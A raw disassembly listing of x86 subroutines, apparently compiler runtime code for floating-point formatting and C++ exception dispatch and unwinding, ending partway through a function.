test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424C42
add esp, 14h
loc_4220E6: ; CODE XREF: sub_422079+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4220F2
mov byte ptr [eax], 2Dh
inc eax
loc_4220F2: ; CODE XREF: sub_422079+73j
test ebx, ebx
jle short loc_42210A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43F828
mov eax, edi
pop edi
mov [eax], cl
loc_42210A: ; CODE XREF: sub_422079+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DE660, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C520
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422131
mov byte ptr [ecx], 45h
loc_422131: ; CODE XREF: sub_422079+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422176
mov ebx, [esi+4]
dec ebx
jns short loc_422145
neg ebx
mov byte ptr [ecx], 2Dh
loc_422145: ; CODE XREF: sub_422079+C5j
inc ecx
cmp ebx, 64h
jl short loc_42215C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42215C: ; CODE XREF: sub_422079+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422173
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422173: ; CODE XREF: sub_422079+E7j
add [ecx+1], bl
loc_422176: ; CODE XREF: sub_422079+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422079 endp
; =============== S U B R O U T I N E =======================================
sub_42217D proc near ; CODE XREF: sub_42231D+13p
; sub_422340+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DE660, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4221B8
mov eax, dword_4DE664
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DE65C
cmp eax, ebx
jnz short loc_4221E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4221E8
; ---------------------------------------------------------------------------
loc_4221B8: ; CODE XREF: sub_42217D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424CB9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424C42
add esp, 14h
loc_4221E8: ; CODE XREF: sub_42217D+22j
; sub_42217D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4221F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4221F6: ; CODE XREF: sub_42217D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42220D
push 1
push edi
call sub_422391
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42220F
; ---------------------------------------------------------------------------
loc_42220D: ; CODE XREF: sub_42217D+7Ej
add edi, eax
loc_42220F: ; CODE XREF: sub_42217D+8Ej
test ebx, ebx
jle short loc_422254
push 1
push edi
call sub_422391
mov al, byte_43F828
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422254
cmp byte_4DE660, 0
jz short loc_422239
neg esi
jmp short loc_42223F
; ---------------------------------------------------------------------------
loc_422239: ; CODE XREF: sub_42217D+B6j
neg esi
cmp ebx, esi
jl short loc_422241
loc_42223F: ; CODE XREF: sub_42217D+BAj
mov ebx, esi
loc_422241: ; CODE XREF: sub_42217D+C0j
push ebx
push edi
call sub_422391
push ebx
push 30h
push edi
call sub_41BC00
add esp, 14h
loc_422254: ; CODE XREF: sub_42217D+94j
; sub_42217D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42217D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42225B proc near ; CODE XREF: sub_422340+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424CB9
mov dword_4DE65C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DE664, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424C42
mov eax, dword_4DE65C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DE664, ecx
setl cl
mov byte_4DE668, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DE664, eax
jl short loc_4222E1
cmp eax, ebx
jge short loc_4222E1
test cl, cl
jz short loc_4222D2
loc_4222C8: ; CODE XREF: sub_42225B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4222C8
and [esi-2], al
loc_4222D2: ; CODE XREF: sub_42225B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42231D
add esp, 0Ch
jmp short loc_4222F1
; ---------------------------------------------------------------------------
loc_4222E1: ; CODE XREF: sub_42225B+63j
; sub_42225B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4222F6
add esp, 10h
loc_4222F1: ; CODE XREF: sub_42225B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42225B endp
; =============== S U B R O U T I N E =======================================
sub_4222F6 proc near ; CODE XREF: sub_42225B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DE660, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422079
and byte_4DE660, 0
add esp, 10h
retn
sub_4222F6 endp
; =============== S U B R O U T I N E =======================================
sub_42231D proc near ; CODE XREF: sub_42225B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DE660, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42217D
and byte_4DE660, 0
add esp, 0Ch
retn
sub_42231D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422340 proc near ; CODE XREF: sub_41FD3F+3AAp
; DATA XREF: sub_41CDCCo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42237B
cmp [ebp+arg_8], 45h
jz short loc_42237B
cmp [ebp+arg_8], 66h
jnz short loc_422368
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42217D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422368: ; CODE XREF: sub_422340+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42225B
jmp short loc_42238C
; ---------------------------------------------------------------------------
loc_42237B: ; CODE XREF: sub_422340+7j
; sub_422340+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422079
loc_42238C: ; CODE XREF: sub_422340+39j
add esp, 10h
pop ebp
retn
sub_422340 endp
; =============== S U B R O U T I N E =======================================
sub_422391 proc near ; CODE XREF: sub_422079+2Cp
; sub_42217D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4223B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B650
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D300
add esp, 10h
pop esi
loc_4223B4: ; CODE XREF: sub_422391+7j
pop edi
retn
sub_422391 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223B6 proc near ; CODE XREF: .XPack0:0041CFACp
; sub_41D015+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4223CC
call sub_422C52
loc_4223CC: ; CODE XREF: sub_4223B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4223F4
cmp dword ptr [esi+4], 0
jz short loc_42244A
cmp [ebp+arg_14], 0
jnz short loc_42244A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4226FD
add esp, 10h
jmp short loc_42244A
; ---------------------------------------------------------------------------
loc_4223F4: ; CODE XREF: sub_4223B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42244A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42242E
cmp [eax+14h], edi
jbe short loc_42242E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42242E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42244D
; ---------------------------------------------------------------------------
loc_42242E: ; CODE XREF: sub_4223B6+4Aj
; sub_4223B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422451
add esp, 20h
loc_42244A: ; CODE XREF: sub_4223B6+23j
; sub_4223B6+29j ...
push 1
pop eax
loc_42244D: ; CODE XREF: sub_4223B6+76j
pop edi
pop esi
pop ebp
retn
sub_4223B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422451 proc near ; CODE XREF: sub_4223B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422471
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422476
loc_422471: ; CODE XREF: sub_422451+16j
call sub_422C52
loc_422476: ; CODE XREF: sub_422451+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4225CD
cmp dword ptr [esi+10h], 3
jnz short loc_4224EA
cmp [esi+14h], edi
jnz short loc_4224EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4224EA
mov esi, dword_4DE66C
test esi, esi
jz loc_4225C8
mov eax, dword_4DE670
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424E40
pop ecx
test eax, eax
pop ecx
jnz short loc_4224CC
call sub_422C52
loc_4224CC: ; CODE XREF: sub_422451+74j
cmp [esi], ebx
jnz loc_4225CD
cmp dword ptr [esi+10h], 3
jnz short loc_4224EA
cmp [esi+14h], edi
jnz short loc_4224EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4224EA
call sub_422C52
loc_4224EA: ; CODE XREF: sub_422451+41j
; sub_422451+46j ...
cmp [esi], ebx
jnz loc_4225CD
cmp dword ptr [esi+10h], 3
jnz loc_4225CD
cmp [esi+14h], edi
jnz loc_4225CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D163
add esp, 14h
mov ebx, eax
loc_422521: ; CODE XREF: sub_422451+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4225B8
cmp [ebx], edi
jg short loc_4225AD
cmp edi, [ebx+4]
jg short loc_4225AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4225AA
loc_422546: ; CODE XREF: sub_422451+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422577
loc_422558: ; CODE XREF: sub_422451+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4226A0
add esp, 0Ch
test eax, eax
jnz short loc_422586
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422558
loc_422577: ; CODE XREF: sub_422451+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422546
jmp short loc_4225AA
; ---------------------------------------------------------------------------
loc_422586: ; CODE XREF: sub_422451+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227B1
add esp, 2Ch
loc_4225AA: ; CODE XREF: sub_422451+F3j
; sub_422451+133j
mov edi, [ebp+var_10]
loc_4225AD: ; CODE XREF: sub_422451+DEj
; sub_422451+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422521
; ---------------------------------------------------------------------------
loc_4225B8: ; CODE XREF: sub_422451+D6j
cmp [ebp+arg_14], 0
jz short loc_4225C8
push 1
push esi
call sub_422B26
pop ecx
pop ecx
loc_4225C8: ; CODE XREF: sub_422451+56j
; sub_422451+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4225CD: ; CODE XREF: sub_422451+37j
; sub_422451+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4225F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4225F8
add esp, 20h
jmp short loc_4225C8
; ---------------------------------------------------------------------------
loc_4225F3: ; CODE XREF: sub_422451+180j
jmp sub_422BFC
sub_422451 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225F8 proc near ; CODE XREF: sub_422451+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DE674, 0
push esi
push edi
jz short loc_422629
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D03A
add esp, 1Ch
test eax, eax
jnz short loc_42269C
loc_422629: ; CODE XREF: sub_4225F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D163
add esp, 14h
mov esi, eax
loc_422645: ; CODE XREF: sub_4225F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42269C
cmp edi, [esi]
jl short loc_422694
cmp edi, [esi+4]
jg short loc_422694
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42266E
cmp byte ptr [ecx+8], 0
jnz short loc_422694
loc_42266E: ; CODE XREF: sub_4225F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4227B1
add esp, 2Ch
loc_422694: ; CODE XREF: sub_4225F8+57j
; sub_4225F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422645
; ---------------------------------------------------------------------------
loc_42269C: ; CODE XREF: sub_4225F8+2Fj
; sub_4225F8+53j
pop edi
pop esi
leave
retn
sub_4225F8 endp
; =============== S U B R O U T I N E =======================================
sub_4226A0 proc near ; CODE XREF: sub_422451+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4226F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4226F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4226D1
add ecx, 8
push ecx
push edx
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4226F3
loc_4226D1: ; CODE XREF: sub_4226A0+1Fj
test byte ptr [esi], 2
jz short loc_4226DB
test byte ptr [edi], 8
jz short loc_4226F3
loc_4226DB: ; CODE XREF: sub_4226A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4226EA
test byte ptr [edi], 1
jz short loc_4226F3
loc_4226EA: ; CODE XREF: sub_4226A0+43j
test al, 2
jz short loc_4226F7
test byte ptr [edi], 2
jnz short loc_4226F7
loc_4226F3: ; CODE XREF: sub_4226A0+2Fj
; sub_4226A0+39j ...
xor eax, eax
jmp short loc_4226FA
; ---------------------------------------------------------------------------
loc_4226F7: ; CODE XREF: sub_4226A0+Bj
; sub_4226A0+14j ...
push 1
pop eax
loc_4226FA: ; CODE XREF: sub_4226A0+55j
pop edi
pop esi
retn
sub_4226A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226FD proc near ; CODE XREF: sub_4223B6+34p
; sub_4227B1+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288B0
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42272F: ; CODE XREF: sub_4226FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422789
cmp esi, 0FFFFFFFFh
jle short loc_42273E
cmp esi, [edi+4]
jl short loc_422743
loc_42273E: ; CODE XREF: sub_4226FD+3Aj
call sub_422C52
loc_422743: ; CODE XREF: sub_4226FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42275E
push 103h
push ebx
push eax
call sub_422BB0
loc_42275E: ; CODE XREF: sub_4226FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42277E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42279B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42277E: ; CODE XREF: sub_4226FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42272F
; ---------------------------------------------------------------------------
loc_422789: ; CODE XREF: sub_4226FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4226FD endp
; =============== S U B R O U T I N E =======================================
sub_42279B proc near ; CODE XREF: sub_4226FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4227AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4227AC: ; CODE XREF: sub_42279B+Cj
jmp sub_422BFC
sub_42279B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227B1 proc near ; CODE XREF: sub_422451+151p
; sub_4225F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4227D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422962
add esp, 10h
loc_4227D3: ; CODE XREF: sub_4227B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4227DF
push edi
jmp short loc_4227E2
; ---------------------------------------------------------------------------
loc_4227DF: ; CODE XREF: sub_4227B1+29j
push [ebp+arg_24]
loc_4227E2: ; CODE XREF: sub_4227B1+2Cj
call sub_41CF3C
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_4226FD
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_42282C
add esp, 2Ch
test eax, eax
jz short loc_422827
push edi
push eax
call sub_41CEFA
loc_422827: ; CODE XREF: sub_4227B1+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4227B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42282C proc near ; CODE XREF: sub_4227B1+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288C0
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DE66C
mov [ebp+var_1C], ecx
mov ecx, dword_4DE670
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DE66C, edi
mov ecx, [ebp+arg_8]
mov dword_4DE670, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41CFC1
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_4228F2
mov eax, [ebp+var_2C]
loc_4228B9: ; CODE XREF: sub_4228D2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42282C endp
; =============== S U B R O U T I N E =======================================
sub_4228C8 proc near ; DATA XREF: .XPack0:004288D0o
push dword ptr [ebp-14h]
call sub_422938
pop ecx
retn
sub_4228C8 endp
; =============== S U B R O U T I N E =======================================
sub_4228D2 proc near ; DATA XREF: .XPack0:004288D4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D222
pop ecx
pop ecx
xor eax, eax
jmp short loc_4228B9
sub_4228D2 endp
; ---------------------------------------------------------------------------
loc_4228EA: ; DATA XREF: .XPack0:004288C8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_4228F2 proc near ; CODE XREF: sub_42282C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DE66C, eax
mov eax, [ebp-20h]
mov dword_4DE670, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422937
cmp dword ptr [edi+10h], 3
jnz short locret_422937
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422937
cmp [ebp-24h], ebx
jnz short locret_422937
cmp [ebp-2Ch], ebx
jz short locret_422937
call sub_41D28A
push eax
push edi
call sub_422B26
pop ecx
pop ecx
locret_422937: ; CODE XREF: sub_4228F2+1Cj
; sub_4228F2+22j ...
retn
sub_4228F2 endp
; =============== S U B R O U T I N E =======================================
sub_422938 proc near ; CODE XREF: sub_4228C8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42295F
cmp dword ptr [eax+10h], 3
jnz short loc_42295F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42295F
cmp dword ptr [eax+1Ch], 0
jnz short loc_42295F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42295F: ; CODE XREF: sub_422938+Cj
; sub_422938+12j ...
xor eax, eax
retn
sub_422938 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422962 proc near ; CODE XREF: sub_4227B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288D8
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422B0B
cmp byte ptr [eax+8], 0
jz loc_422B0B
mov eax, [ecx+8]
test eax, eax
jz loc_422B0B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_4229FF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424E40
pop ecx
pop ecx
test eax, eax
jz loc_422B02
push 1
push edi
call sub_424E5C
pop ecx
pop ecx
test eax, eax
jz loc_422B02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_4229F0: ; CODE XREF: sub_422962+F5j
push eax
call sub_422B8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422B07
; ---------------------------------------------------------------------------
loc_4229FF: ; CODE XREF: sub_422962+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422A59
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424E40
pop ecx
pop ecx
test eax, eax
jz loc_422B02
push 1
push edi
call sub_424E5C
pop ecx
pop ecx
test eax, eax
jz loc_422B02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D300
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422B07
mov eax, [edi]
test eax, eax
jz loc_422B07
add esi, 8
push esi
jmp short loc_4229F0
; ---------------------------------------------------------------------------
loc_422A59: ; CODE XREF: sub_422962+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422AA1
call sub_424E40
pop ecx
pop ecx
test eax, eax
jz loc_422B02
push 1
push edi
call sub_424E5C
pop ecx
pop ecx
test eax, eax
jz short loc_422B02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422B8D
pop ecx
pop ecx
push eax
push edi
call sub_41D300
add esp, 0Ch
jmp short loc_422B07
; ---------------------------------------------------------------------------
loc_422AA1: ; CODE XREF: sub_422962+103j
call sub_424E40
pop ecx
pop ecx
test eax, eax
jz short loc_422B02
push 1
push edi
call sub_424E5C
pop ecx
pop ecx
test eax, eax
jz short loc_422B02
push dword ptr [esi+18h]
call sub_424E78
pop ecx
test eax, eax
jz short loc_422B02
test byte ptr [esi], 4
jz short loc_422AE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422B8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41CF35
jmp short loc_422B07
; ---------------------------------------------------------------------------
loc_422AE8: ; CODE XREF: sub_422962+168j
lea eax, [esi+8]
